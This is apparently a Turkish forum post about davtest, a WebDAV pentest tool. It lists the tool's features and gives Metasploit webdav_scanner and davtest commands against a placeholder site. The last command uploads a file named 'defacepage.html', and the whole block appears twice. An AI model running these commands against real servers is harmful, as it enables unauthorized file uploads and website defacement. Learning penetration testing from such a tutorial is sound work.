Davtest, test çalıştırılabilir dosyalarını yükleyerek ve ardından (isteğe bağlı olarak) komut yürütme veya doğrudan hedef üzerinde başka işlemler yapmaya izin veren dosyaları yükleyerek WebDAV özellikli sunucuları test eder. DAV hizmetlerinin etkinleştirilip etkinleştirilmediğini penetrasyon testi uzmanları hızlı ve kolay bir şekilde belirlemek içindir.
Exploit dosyaları otomatik olarak gönder
Dizinin otomatik rastgele oluşturulması dosyaları gizlemeye yardımcı olur
Metin dosyalarını gönderin ve yürütülebilir adı MOVE deneyin
Temel ve Digest yetkilendirme
Yüklenen dosyaların otomatik olarak temizlenmesi
İsteğe bağlı bir dosya gönder
Webdav güvenlik açığı taramak için:
# msfconsole
# use auxiliary / tarayıcı / http / webdav_scanner
# show options (parametreyi kontrol etmek için ve ayrıca RHOSTS, vb. gibi yeni parametreleri ayarlamak için)
# set RHOSTS hedeflenen web sitesinin IP adresi
# koş
# whatweb www.targetwebsite.com
# davtest -h
# davtest -url www.targetwebsite.com -directory testi (test yeni oluşturulacak dizin adıdır)
# davtest -url www.targetwebsite.com -uploadloc testi -uploadfile defacepage.html
[ame="https://www.youtube.com/watch?v=-o_9aX1uBl0"]https://www.youtube.com/watch?v=-o_9aX1uBl0[/ame]
"Bu yalnızca Eğitim amacıyla, kendi sorumluluğunuzdadır
NOT:ALINTIDIR
Exploit dosyaları otomatik olarak gönder
Dizinin otomatik rastgele oluşturulması dosyaları gizlemeye yardımcı olur
Metin dosyalarını gönderin ve yürütülebilir adı MOVE deneyin
Temel ve Digest yetkilendirme
Yüklenen dosyaların otomatik olarak temizlenmesi
İsteğe bağlı bir dosya gönder
Webdav güvenlik açığı taramak için:
# msfconsole
# use auxiliary / tarayıcı / http / webdav_scanner
# show options (parametreyi kontrol etmek için ve ayrıca RHOSTS, vb. gibi yeni parametreleri ayarlamak için)
# set RHOSTS hedeflenen web sitesinin IP adresi
# koş
# whatweb www.targetwebsite.com
# davtest -h
# davtest -url www.targetwebsite.com -directory testi (test yeni oluşturulacak dizin adıdır)
# davtest -url www.targetwebsite.com -uploadloc testi -uploadfile defacepage.html
[ame="https://www.youtube.com/watch?v=-o_9aX1uBl0"]https://www.youtube.com/watch?v=-o_9aX1uBl0[/ame]
"Bu yalnızca Eğitim amacıyla, kendi sorumluluğunuzdadır
NOT:ALINTIDIR
